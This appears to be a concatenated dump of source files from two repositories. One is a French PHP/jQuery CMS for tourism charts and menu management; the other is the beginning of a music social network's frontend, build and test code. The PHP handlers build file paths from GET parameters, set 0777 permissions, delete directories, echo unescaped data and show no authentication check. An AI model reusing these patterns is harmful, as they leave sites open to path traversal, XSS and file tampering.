'letters':/[\u0048\u24BD\uFF28\u0124\u1E22\u1E26\u021E\u1E24\u1E28\u1E2A\u0126\u2C67\u2C75\uA78D]/g}, {'base':'I', 'letters':/[\u0049\u24BE\uFF29\u00CC\u00CD\u00CE\u0128\u012A\u012C\u0130\u00CF\u1E2E\u1EC8\u01CF\u0208\u020A\u1ECA\u012E\u1E2C\u0197]/g}, {'base':'J', 'letters':/[\u004A\u24BF\uFF2A\u0134\u0248]/g}, {'base':'K', 'letters':/[\u004B\u24C0\uFF2B\u1E30\u01E8\u1E32\u0136\u1E34\u0198\u2C69\uA740\uA742\uA744\uA7A2]/g}, {'base':'L', 'letters':/[\u004C\u24C1\uFF2C\u013F\u0139\u013D\u1E36\u1E38\u013B\u1E3C\u1E3A\u0141\u023D\u2C62\u2C60\uA748\uA746\uA780]/g}, {'base':'LJ','letters':/[\u01C7]/g}, {'base':'Lj','letters':/[\u01C8]/g}, {'base':'M', 'letters':/[\u004D\u24C2\uFF2D\u1E3E\u1E40\u1E42\u2C6E\u019C]/g}, {'base':'N', 'letters':/[\u004E\u24C3\uFF2E\u01F8\u0143\u00D1\u1E44\u0147\u1E46\u0145\u1E4A\u1E48\u0220\u019D\uA790\uA7A4]/g}, {'base':'NJ','letters':/[\u01CA]/g}, {'base':'Nj','letters':/[\u01CB]/g}, {'base':'O', 'letters':/[\u004F\u24C4\uFF2F\u00D2\u00D3\u00D4\u1ED2\u1ED0\u1ED6\u1ED4\u00D5\u1E4C\u022C\u1E4E\u014C\u1E50\u1E52\u014E\u022E\u0230\u00D6\u022A\u1ECE\u0150\u01D1\u020C\u020E\u01A0\u1EDC\u1EDA\u1EE0\u1EDE\u1EE2\u1ECC\u1ED8\u01EA\u01EC\u00D8\u01FE\u0186\u019F\uA74A\uA74C]/g}, {'base':'OI','letters':/[\u01A2]/g}, {'base':'OO','letters':/[\uA74E]/g}, {'base':'OU','letters':/[\u0222]/g}, {'base':'P', 'letters':/[\u0050\u24C5\uFF30\u1E54\u1E56\u01A4\u2C63\uA750\uA752\uA754]/g}, {'base':'Q', 'letters':/[\u0051\u24C6\uFF31\uA756\uA758\u024A]/g}, {'base':'R', 'letters':/[\u0052\u24C7\uFF32\u0154\u1E58\u0158\u0210\u0212\u1E5A\u1E5C\u0156\u1E5E\u024C\u2C64\uA75A\uA7A6\uA782]/g}, {'base':'S', 'letters':/[\u0053\u24C8\uFF33\u1E9E\u015A\u1E64\u015C\u1E60\u0160\u1E66\u1E62\u1E68\u0218\u015E\u2C7E\uA7A8\uA784]/g}, {'base':'T', 'letters':/[\u0054\u24C9\uFF34\u1E6A\u0164\u1E6C\u021A\u0162\u1E70\u1E6E\u0166\u01AC\u01AE\u023E\uA786]/g}, {'base':'TZ','letters':/[\uA728]/g}, {'base':'U', 'letters':/[\u0055\u24CA\uFF35\u00D9\u00DA\u00DB\u0168\u1E78\u016A\u1E7A\u016C\u00DC\u01DB\u01D7\u01D5\u01D9\u1EE6\u016E\u0170\u01D3\u0214\u0216\u01AF\u1EEA\u1EE8\u1EEE\u1EEC\u1EF0\u1EE4\u1E72\u0172\u1E76\u1E74\u0244]/g}, {'base':'V', 'letters':/[\u0056\u24CB\uFF36\u1E7C\u1E7E\u01B2\uA75E\u0245]/g}, {'base':'VY','letters':/[\uA760]/g}, {'base':'W', 'letters':/[\u0057\u24CC\uFF37\u1E80\u1E82\u0174\u1E86\u1E84\u1E88\u2C72]/g}, {'base':'X', 'letters':/[\u0058\u24CD\uFF38\u1E8A\u1E8C]/g}, {'base':'Y', 'letters':/[\u0059\u24CE\uFF39\u1EF2\u00DD\u0176\u1EF8\u0232\u1E8E\u0178\u1EF6\u1EF4\u01B3\u024E\u1EFE]/g}, {'base':'Z', 'letters':/[\u005A\u24CF\uFF3A\u0179\u1E90\u017B\u017D\u1E92\u1E94\u01B5\u0224\u2C7F\u2C6B\uA762]/g}, {'base':'a', 'letters':/[\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250]/g}, {'base':'aa','letters':/[\uA733]/g}, {'base':'ae','letters':/[\u00E6\u01FD\u01E3]/g}, {'base':'ao','letters':/[\uA735]/g}, {'base':'au','letters':/[\uA737]/g}, {'base':'av','letters':/[\uA739\uA73B]/g}, {'base':'ay','letters':/[\uA73D]/g}, {'base':'b', 'letters':/[\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253]/g}, {'base':'c', 'letters':/[\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184]/g}, {'base':'d', 'letters':/[\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A]/g}, {'base':'dz','letters':/[\u01F3\u01C6]/g}, {'base':'e', 'letters':/[\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD]/g}, {'base':'f', 'letters':/[\u0066\u24D5\uFF46\u1E1F\u0192\uA77C]/g}, {'base':'g', 'letters':/[\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F]/g}, {'base':'h', 'letters':/[\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265]/g}, {'base':'hv','letters':/[\u0195]/g}, {'base':'i', 'letters':/[\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131]/g}, {'base':'j', 'letters':/[\u006A\u24D9\uFF4A\u0135\u01F0\u0249]/g}, {'base':'k', 'letters':/[\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3]/g}, {'base':'l', 'letters':/[\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747]/g}, {'base':'lj','letters':/[\u01C9]/g}, {'base':'m', 'letters':/[\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F]/g}, {'base':'n', 'letters':/[\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5]/g}, {'base':'nj','letters':/[\u01CC]/g}, {'base':'o', 'letters':/[\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275]/g}, {'base':'oi','letters':/[\u01A3]/g}, {'base':'ou','letters':/[\u0223]/g}, {'base':'oo','letters':/[\uA74F]/g}, {'base':'p','letters':/[\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755]/g}, {'base':'q','letters':/[\u0071\u24E0\uFF51\u024B\uA757\uA759]/g}, {'base':'r','letters':/[\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783]/g}, {'base':'s','letters':/[\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B]/g}, {'base':'t','letters':/[\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787]/g}, {'base':'tz','letters':/[\uA729]/g}, {'base':'u','letters':/[\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289]/g}, {'base':'v','letters':/[\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C]/g}, {'base':'vy','letters':/[\uA761]/g}, {'base':'w','letters':/[\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73]/g}, {'base':'x','letters':/[\u0078\u24E7\uFF58\u1E8B\u1E8D]/g}, {'base':'y','letters':/[\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF]/g}, {'base':'z','letters':/[\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763]/g} ]; var changes; function removeDiacritics(str) { if(!changes) { changes = defaultDiacriticsRemovalMap; } for(var i=0; i<changes.length; i++) { str = str.replace(changes[i].letters, changes[i].base); } return str; } </script><file_sep><?php //include header include_once 'includes/header.inc.php'; ?> <script type="text/javascript" src="includes/nivo-slider/jquery.nivo.slider.js"></script> <!--<div class="slider-wrapper theme-default"> <div id="slider" class="nivoSlider"> <img src="images/styles/slider/mouton_main.jpg" data-thumb="images/styles/slider/mouton_main.jpg" alt="" /> <a href="http://dev7studios.com"><img src="images/styles/slider/ski_main.jpg" data-thumb="includes/nivo-slider/demo/images/up.jpg" alt="" title="This is an example of a caption" /></a> <img src="images/styles/slider/summer_main.jpg" data-thumb="includes/nivo-slider/demo/images/walle.jpg" alt="" data-transition="slideInLeft" /> <img src="images/styles/slider/train_main.jpg" data-thumb="includes/nivo-slider/demo/images/nemo.jpg" alt="" title="#htmlcaption" /> </div> <div id="htmlcaption" class="nivo-html-caption"> <strong>This</strong> is an example of a <em>HTML</em> caption with <a href="#">a link</a>. </div> </div> <script type="text/javascript"> $(window).load(function() { $('#slider').nivoSlider(); }); </script>--> <?php //include footer include_once 'includes/footer.inc.php'; ?><file_sep><?php function readExcelForChart($data){ for ($i = 1; $i <= $data->sheets[0]['numRows']; $i++) { for ($j = 1; $j <= $data->sheets[0]['numCols']; $j++) { $array_xls[$i][$j - 1] = $data->sheets[0]['cells'][$i][$j]; } } //get series values for($i=1; $i < count($array_xls[1]); $i++){ $series_title[$i-1] = $array_xls[1][$i]; } $series_values = "{\nname: '"; for($j=1; $j<count($array_xls[1]);$j++){ $series_values .= $series_title[$j-1] . "', \n"; //customise color for "Valais" if($series_title[$j-1] == "Valais"){ $series_values .= "color: '#ff0000',"; } //customise style for "Reservations" if($series_title[$j-1] == "Reservations"){ $series_values .= "color: '#ff0000', dashStyle: 'dash', "; } $series_values .= " \ndata: ["; for($k=2; $k<=count($array_xls); $k++){ $series_values .= $array_xls[$k][$j]; if($k < count($array_xls)) $series_values .= ","; } $series_values .= "]\n}"; if($j < count($array_xls[1])-1) $series_values .= ", {\n name: '"; } $series_text = "["; for($i=2; $i <= count($array_xls); $i++){ $series_text .= "'" . $array_xls[$i][0] . "'"; if($i < count($array_xls)){ $series_text .= ","; } $series[$i-1] = $array_xls[$i][0]; } $series_text .= "]"; $myChartData[0] = $series_text; $myChartData[1] = $series_values; return $myChartData; } function readExcelForPieChart($data){ for ($i = 1; $i <= $data->sheets[0]['numRows']; $i++) { for ($j = 1; $j <= $data->sheets[0]['numCols']; $j++) { $array_xls[$i][$j - 1] = $data->sheets[0]['cells'][$i][$j]; } } $series_text = "["; for($i=1; $i <= count($array_xls[1])-1; $i++){ $series_text .= "{ name:'" . $array_xls[1][$i] . "', y:". $array_xls[2][$i]; //conditional formating //customise color for "Valais" if($array_xls[1][$i] == "Valais"){ $series_text .= ", color: '#ff0000'"; } //customise style for "Reservations" if($array_xls[1][$i] == "Reservations"){ $series_text .= ", color: '#ff0000'"; } $series_text .= "}"; if($i != count($array_xls[1])-1) $series_text .= ","; $series[$i-1] = $array_xls[$i][0]; } $series_text .= "]"; $myChartData = $series_text; return $myChartData; } function readExcelForBubbleChart($data){ for ($i = 1; $i <= $data->sheets[0]['numRows']; $i++) { for ($j = 1; $j <= $data->sheets[0]['numCols']; $j++) { $array_xls[$i][$j - 1] = $data->sheets[0]['cells'][$i][$j]; } } $series_text = "["; for($i=2; $i <= count($array_xls); $i++){ $series_text .= "{ name:'" . $array_xls[$i][0] . "'"; //conditional formating //customise color for "Valais" if($array_xls[$i][0] == "Valais"){ $series_text .= ", color: '#ff0000'"; } //customise style for "Reservations" if($array_xls[1][$i] == "Reservations"){ $series_text .= ", color: '#ff0000'"; } $series_text .= ", data: [["; //Add series values for($j=1; $j <= count($array_xls[$i])-1; $j++){ $series_text .= $array_xls[$i][$j]; if($j != count($array_xls[$i])-1) $series_text .= ","; } $series_text .= "]]}"; if($i != count($array_xls)) $series_text .= ","; $series[$i-1] = $array_xls[$i][0]; } $series_text .= "]"; $myChartData = $series_text; return $myChartData; } ?> <file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; dbConnect(); ?> <h1>Gestion des graphiques</h1> Nouveau graphique: <img src='../images/icons/add.png' alt='createGrahp' /> <h3>Graphiques existants</h3> <div id='tree_charts' class='demo'> <?php //List all charts in DB $myChartsList = listCharts(); $chartsType = listChartTypes(); echo "<div class='tableList'>"; echo "<span id='nameTableList'><h4>Nom en FR</h4></span>"; echo "<span id='nameTableList'><h4>Nom en DE</h4></span>"; echo "<span id='nameTableList'><h4>Type de Graph</h4></span>"; echo "<span id='nameTableList'><h4>Modifier</h4></span>"; echo "<span id='nameTableList'><h4>Supprimer</h4></span></br>"; while($chartInfo = mysql_fetch_assoc($myChartsList)){ echo "<span id='nameTableList'>".$chartInfo['chart_name_fr']."</span>"; echo "<span id='nameTableList'>".$chartInfo['chart_name_de']."</span>"; echo "<span id='nameTableList'>"; echo "<select name='type_graph_".$chartInfo['id_chart']."' id='type_graph_".$chartInfo['id_chart']."' onChange='changeType(".$chartInfo['id_chart'].")'>"; while($chartType = mysql_fetch_assoc($chartsType)){ echo "<option value='".$chartType['id_chart_type'] . "'"; if($chartInfo['fk_chart_type'] == $chartType['id_chart_type']) echo " selected "; echo ">".utf8_encode($chartType['chtype_name_fr'])."</option>"; } echo "</select>"; echo "</span>"; echo "<span id='nameTableList'><img src='../images/icons/edit-icon.png' alt='edit' /></span>"; echo "<span id='nameTableList'><img src='../images/icons/delete-icon.png' alt='delete' onClick='deleteGraph(".$chartInfo['id_chart'].");' /></span>"; echo "</br>"; } echo "</div>"; ?> </div> <script type="text/javascript"> $(document).ready( function() { }); function changeType(id){ var select = '#type_graph_' + id; $.ajax({ url: '../includes/Ajax/gestionCharts.php', data: "id=" + id + "&type=ct&typeChart=" +$(select).val(), async: false, success: function(data){ document.location.href = ""; } }); } function deleteGraph(id){ // Demander une confirmation avant la suppression var texteConf = "Êtes-vous vraiment sûr de vouloir supprimer ce graphique? "; var conf = confirm(texteConf); if(conf == true){ $.ajax({ url: '../includes/Ajax/gestionCharts.php', data: "id=" + id + "&type=d", async: false, success: function(data){ document.location.href = ""; } }); } } </script> <?php dbDisconnect(); include_once '../includes/footer.inc.php'; ?> <file_sep><?php session_start(); $type = $_GET['type']; if(isset($_GET['lang'])) $lang = $_GET['lang']; if($type = l){ if($lang == 'fr') $lang = 'de'; else $lang = 'fr'; $_SESSION['lang'] = $lang; } ?> <file_sep><?php //include header include_once 'includes/header.inc.php'; //Connect to DB dbConnect(); //Get page id $pageID = $_GET['id']; //Get info about page type and page content $infosMenu = selectInfosMenu($pageID); $infosPages = selectInfosPage($pageID); $infosMenu = mysql_fetch_assoc($infosMenu); $infosPages = mysql_fetch_assoc($infosPages); //Check if redirection or full page if($infosMenu['fk_menu_page_type'] == 1){ $link = strstr($infosPages['page_content_'.$_SESSION['lang']], 'http'); $link = strstr($link, '<', true); //redirect to correct page echo "<meta http-equiv='refresh' content=\"0; URL='".$link."'\">"; } else{ //print breadcrumb //print page content echo stripslashes($infosPages['page_content_'.$_SESSION['lang']]); } //Disconnect from DB dbDisconnect(); //include footer include_once 'includes/footer.inc.php'; ?> <file_sep><?php include("../../DBFonctions/DBGestion.php"); $type = $_GET['type']; if(isset($_GET['parent'])) $parent = $_GET['parent']; if(isset($_GET['menu'])) $menu = $_GET['menu']; if(isset($_GET['menuSansAccent'])){ $page = $_GET['menuSansAccent']; $page = ucwords($page); $page = str_replace(" ", "", $page); } if(isset($_GET['position'])) $position = $_GET['position']; if(isset($_GET['id'])) $idMenu = $_GET['id']; // Ajout d'un menu if($type == "a"){ // Nouveau dossier if($parent == "NULL"){ // Si le dossier existe déjà, message d'erreur if(file_exists("../../Pages/" . $page)) echo "existe"; else { mkdir("../../Pages/" . $page); chmod("../../Pages/" . $page, 0777); insertMenu($menu, $parent, $page); } } // Création d'une page else { // Récupérer le chemin du parent $infosMenu = selectInfosMenu($parent); $infosMenu = mysql_fetch_assoc($infosMenu); $dossier = $infosMenu['Page']; // Mettre la première lettre du fichier en minuscule $page = lcfirst($page); // Chemin du fichier $fichier = "../../Pages/" . $dossier . "/" . $page; // Regarde si le fichier existe déjà $numero = ""; for($i = 1; $i > 0; $i ++){ if(file_exists($fichier . $numero . ".php")) $numero = $i; else { $fichier = $fichier . $numero . ".php"; $page .= $numero . ".php"; $i = -10; } } // Créer le fichier fopen($fichier, "w+"); chmod($fichier, 0777); // Insérer le header et le footer // ! \\ NE PAS INDENTER CORRECTEMENT !!! $headerFooterPHP = '<?php include("../../Include/header.php"); ?> <!-- DEBUT DE LA PARTIE MODIFIABLE --> <!-- FIN DE LA PARTIE MODIFIABLE --> <?php include("../../Include/footer.php"); ?>'; file_put_contents($fichier, $headerFooterPHP); insertMenu($menu, $parent, $page); } } // Monter un menu if($type == "m"){ $nouvellePosition = $position - 1; deplacerMenu($parent, $position, 0); deplacerMenu($parent, $nouvellePosition, $position); deplacerMenu($parent, 0, $nouvellePosition); } // Descendre un menu if($type == "d"){ $nouvellePosition = $position + 1; deplacerMenu($parent, $position, 0); deplacerMenu($parent, $nouvellePosition, $position); deplacerMenu($parent, 0, $nouvellePosition); } // Supprimer un menu principal if($type == "sm"){ // Récupérer le chemin du dossier $infosMenu = selectInfosMenu($idMenu); $infosMenu = mysql_fetch_assoc($infosMenu); $page = $infosMenu['Page']; $dossier = "../../Pages/" . $page; // Supprimer le dossier et les fichiers qu'il contient if(is_dir($dossier)){ $it = new RecursiveDirectoryIterator($dossier); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach($files as $file) { if ($file->getFilename() === '.' || $file->getFilename() === '..') { continue; } if ($file->isDir()){ rmdir($file->getRealPath()); } else { unlink($file->getRealPath()); } } rmdir($dossier); } // Supprimer les menus et sous-menus de la base de données supprimerMenu($idMenu); } // Supprimer un sous-menu if($type == "ssm"){ // Récupérer le chemin du fichier $infosMenu = selectInfosMenu($idMenu); $infosMenu = mysql_fetch_assoc($infosMenu); // Récupérer le chemin du parent $infosParent = selectInfosMenu($infosMenu['Parent']); $infosParent = mysql_fetch_assoc($infosParent); $dossier = $infosParent['Page']; // Chemin du fichier $page = $infosMenu['Page']; $fichier = "../../Pages/" . $dossier . "/" . $page; // Supprimer le fichier if(is_file($fichier)) unlink($fichier); // Supprimer le sous-menu de la base de données supprimerMenu($idMenu); } // Modification d'un menu if($type == "mod"){ // Récupérer le chemin du fichier $infosMenu = selectInfosMenu($idMenu); $infosMenu = mysql_fetch_assoc($infosMenu); // Récupérer le chemin du parent $infosParent = selectInfosMenu($infosMenu['Parent']); $infosParent = mysql_fetch_assoc($infosParent); $dossier = $infosParent['Page']; // Chemin du fichier $page = $infosMenu['Page']; $fichier = "../../Pages/" . $dossier . "/" . $page; // Récupérer le contenu de la page $contenu = ""; if(file_exists($fichier)){ $contenu = file_get_contents($fichier); // Conserver uniquement la partie centrale du fichier (HTML) $debutModif = '<!-- DEBUT DE LA PARTIE MODIFIABLE -->'; $finModif = '<!-- FIN DE LA PARTIE MODIFIABLE -->'; if(strpos($contenu, $debutModif) !== false){ $contenu = explode($debutModif, $contenu); $contenu = $contenu[1]; } if(strpos($contenu, $finModif) !== false){ $contenu = explode($finModif, $contenu); $contenu = $contenu[0]; } // Remplacer les liens des images $contenu = str_replace("../../", "../", $contenu); } else $contenu = "Impossible de récupérer le contenu de la page."; echo $contenu; } // Modification du nom d'un menu if($type == "e"){ editerMenu($menu, $idMenu); } ?><file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; ?> <h2>Gestion des réseaux sociaux</h2> <?php //connect to db $link = dbConnect(); //Get all socialLinks data $socialDatas = getAllSocialLinks(); //print social data infos while($socialInfo = mysql_fetch_array($socialDatas)){ echo "<div class='form_admin'>"; //Social network name echo "Nom: <input type='text' name='$socialInfo[0]' id='$socialInfo[0]' value='$socialInfo[1]' onchange='editerSocial($socialInfo[0]);'>"; //Social network active? echo "actif? <input type='checkbox' name='active_$socialInfo[0]' id='active_$socialInfo[0]' "; if($socialInfo[3] == 0) echo "checked='checked' "; echo " onClick='editerSocialActive($socialInfo[0])'/>"; //Social network link echo "lien: <input type='text' size='100' name='link_$socialInfo[0]' id='link_$socialInfo[0]' value='$socialInfo[2]' onchange='editerSocialLink($socialInfo[0]);'/>"; //Social network link echo "image: <input type='text' name='pic_$socialInfo[0]' id='pic_$socialInfo[0]' value='$socialInfo[5]' onchange='editerSocialPic($socialInfo[0]);'/>"; //order move up / down if($socialInfo[4] > 1) echo "<img src='../images/icons/flecheHaut.png' style='height: 13px; vertical-align: text-bottom; cursor: pointer;' onclick='monterSocial($socialInfo[4]);'/>"; if($socialInfo[4] < 5) echo "<img src='../images/icons/flecheBas.png' style='height: 13px; vertical-align: text-bottom; cursor: pointer;' onclick='descendreSocial($socialInfo[4]);'/>"; echo "</div></br>"; } ?> <script type="text/javascript"> /** * Descendre le réseau social */ function descendreSocial(position){ $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "position=" + position + "&type=d", success: function(data){ document.location.href = ""; } }); } /** * Monter le réseau social */ function monterSocial(position){ $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "position=" + position + "&type=m", success: function(data){ document.location.href = ""; } }); } /** * Edition du nom d'un réseau */ function editerSocial(idMenu){ // V�rification que le nom n'est pas vide if($("#"+idMenu).val() == "") alert("Le nom du menu ne peut pas être vide."); // Edition du menu else { $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "social=" + $("#"+idMenu).val() + "&id=" + idMenu + "&type=e" }); } } /** * Edition du lien d'un réseau */ function editerSocialLink(idMenu){ // V�rification que le nom n'est pas vide if($("#link_"+idMenu).val() == "") alert("L'adresse du lien ne peut pas être vide."); // Edition du menu else { $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "social=" + $("#link_"+idMenu).val() + "&id=" + idMenu + "&type=el" }); } } /** * Edition de l'état d'un réseau */ function editerSocialActive(idMenu){ // Edition du menu var change; if ($("#active_"+idMenu).is(":checked")) change = 0; else change = 1; $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "social=" + change + "&id=" + idMenu + "&type=es" }); } /** * Edition de l'icone d'un réseau */ function editerSocialPic(idMenu){ // V�rification que le nom n'est pas vide if($("#pic_"+idMenu).val() == "") alert("L'icone du réseau ne peut pas être vide."); // Edition du menu else { $.ajax({ url: '../includes/Ajax/gestionSocial.php', data: "social=" + $("#pic_"+idMenu).val() + "&id=" + idMenu + "&type=ep" }); } } </script> <?PHP //Disconnect from db dbDisconnect(); include_once '../includes/footer.inc.php'; ?>
74d3862089c820359e90701d212eb2a8bb36eb39
[ "PHP", "INI" ]
26
PHP
pascalfavre/Tourobs_Monitoring
6c597ffce887a5d01705be8ea751b808b422a5f1
1cdca265cf3ae09460fd0ec8ed71f6e3eaed42b8
refs/heads/master
<file_sep>(function () { // fixed header $(window).scroll(function() { if ($(this).scrollTop() > 0) { $('.header__fixed').addClass('header--fixed'); } else { $('.header__fixed').removeClass('header--fixed'); } }); // scroll to link $('.nav, #menu__mobile').on('click', 'a', function(){ var id = $(this).attr('href'), top = $(id).offset().top; $('body, html').animate({scrollTop: (top -45 +'px')}, 1500); if ($('#menu__mobile').is(":visible")) { $('.menu__toggle-btn--close').hide(); $('#menu__mobile').animate({ width: "0", }, 600 ); } }); // open mobile menu $('.menu__toggle-btn--open').click(function() { $('#menu__mobile').show(); $('#menu__mobile').animate({ width: "240px", }, 600, function() { $('.menu__toggle-btn--close').show(); } ); }); // close mobile menu $('.menu__toggle-btn--close').click(function() { $('.menu__toggle-btn--close').hide(); $('#menu__mobile').animate({ width: "0", }, 600 ); }); // header slider $('#header-carousel').carousel({ // interval: 2000 }); // quote slider $('#quote-carousel').carousel({ // interval: 2000 }); // init Masonry var $grid = $('.grid').masonry({ itemSelector: '.grid-item', percentPosition: true }); // layout Masonry after each image loads $grid.imagesLoaded().progress( function() { $grid.masonry('layout'); }); })(); // map function initialize() { if (!!document.getElementById('map')) { initMap(); } else { return false; } } function initMap() { var uluru = {lat: 40.7143528, lng: -74.0059731}; var map = new google.maps.Map(document.getElementById('map'), { zoom: 10, center: uluru }); var marker = new google.maps.Marker({ position: uluru, map: map, title: 'Mogo' }); }<file_sep>'use strict'; const gulp = require('gulp'); const plumber = require('gulp-plumber'); const fileinclude = require('gulp-file-include'); const htmlmin = require('gulp-htmlmin'); const sass = require('gulp-sass'); const concat = require('gulp-concat'); const uglify = require('gulp-uglify'); const imagemin = require('gulp-imagemin'); const browserSync = require('browser-sync'); gulp.task('views', () => gulp.src('src/html/*.html') .pipe(plumber()) .pipe(fileinclude({ prefix: '@@', basepath: '@file' })) .pipe(htmlmin({ collapseWhitespace: false })) .pipe(gulp.dest('./')) .pipe(browserSync.stream()) ); gulp.task('styles', () => gulp.src('src/scss/*.scss') .pipe(plumber()) .pipe(sass()) .pipe(gulp.dest('./css')) .pipe(browserSync.stream()) ); gulp.task('scripts', () => gulp.src([ 'node_modules/jquery/dist/jquery.js', 'node_modules/bootstrap/dist/js/bootstrap.bundle.js', 'node_modules/masonry-layout/dist/masonry.pkgd.js', 'node_modules/imagesloaded/imagesloaded.pkgd.js', 'src/js/main.js' ]) .pipe(concat('script.js')) .pipe(uglify()) .pipe(gulp.dest('./js')) .pipe(browserSync.stream()) ); gulp.task('images', () => gulp.src('src/img/**/*') .pipe(imagemin()) .pipe(gulp.dest('./images')) .pipe(browserSync.stream()) ); gulp.task('fonts', () => gulp.src('node_modules/font-awesome/fonts/*') .pipe(gulp.dest('./fonts')) ); gulp.task('browserSync', () => browserSync.init({ server: { baseDir: './' } }) ); gulp.task('watch', function(){ gulp.watch('src/html/**/*.html', ['views']); gulp.watch('src/scss/**/*.scss', ['styles']); gulp.watch('src/js/**/*.js', ['scripts']); gulp.watch('src/img/**/*', ['images']); }); gulp.task('default', ['views', 'styles', 'scripts', 'images', 'fonts']); gulp.task('dev', ['default', 'browserSync', 'watch']);
d81406018e5043d841eb637549844440b952b9da
[ "JavaScript" ]
2
JavaScript
andyalekhin/mogo
47452a4fda67f5f9a5f3ba0d1bb55fd8f3253410
34538ad4a79f0ca75b17beb66fab85e3283e4f65
refs/heads/master
<repo_name>ime04/music-social-network<file_sep>/apps/web/frontend/js/index.js const buttonToLogin = document.getElementById('sign-in'); const buttonToRegister = document.getElementById('register'); const registerButton = document.getElementById('user-register'); const formRegister = document.getElementById('register-form'); const formLogin = document.getElementById('login-form'); buttonToLogin.addEventListener('click', () => { formLogin.style.display = 'block'; formRegister.style.display = 'none'; }); buttonToRegister.addEventListener('click', () => { formLogin.style.display = 'none'; formRegister.style.display = 'block'; }); registerButton.addEventListener('click', () => { const userName = document.getElementById('user-name').value; const userPass = document.getElementById('user-pass').value; const userRepeatPass = document.getElementById('user-repeat-pass').value; const userEmail = document.getElementById('user-email').value; if (userPass !== userRepeatPass) { alert('Por favor rellene bien la contraseña'); return false; } const formData = new FormData(); formData.append('username', userName); formData.append('password', <PASSWORD>); formData.append('email', userEmail); fetch('http://vps551323.ovh.net/user/register', { method: 'POST', body: formData }).then(response => response.json()) .then(data => console.log(data)); //TODO crear nueva petición como la de arriba para el login, // se va a llamar http://vps551323.ovh.net/user/login de tipo GET }); //INPUT CONST /*const nameField = document.getElementById('name-field'); const passwordField = document.getElementById('password-field'); const repeatPasswordField = document.getElementById('repeat-password-field'); const emailField = document.getElementById('email-field'); const errorElement = document.getElementById('error'); formRegister.addEventListener('submit', (e) =>{ let errorMessages = []; validateField(nameField) validateField(passwordField) validateField(repeatPasswordField) validateField(emailField) }) function validateField(field){ if(field.value === '' || field.value === null){ field.style.backgroundColor = '#df6464'; } else { field.style.backgroundColor = ''; } } */<file_sep>/tests/Shared/ValueObjects/Email/EmailTest.php <?php namespace Tests\Shared\ValueObjects\Email; use PHPUnit\Framework\TestCase; use MusicProject\Shared\ValueObjects\Email\Email; use InvalidArgumentException; class EmailTest extends TestCase { /** @test **/ public function success() : void { self::assertInstanceOf(EmailTest::class, new EmailTest("<EMAIL>")); } /** @test **/ public function emailFailed() : void 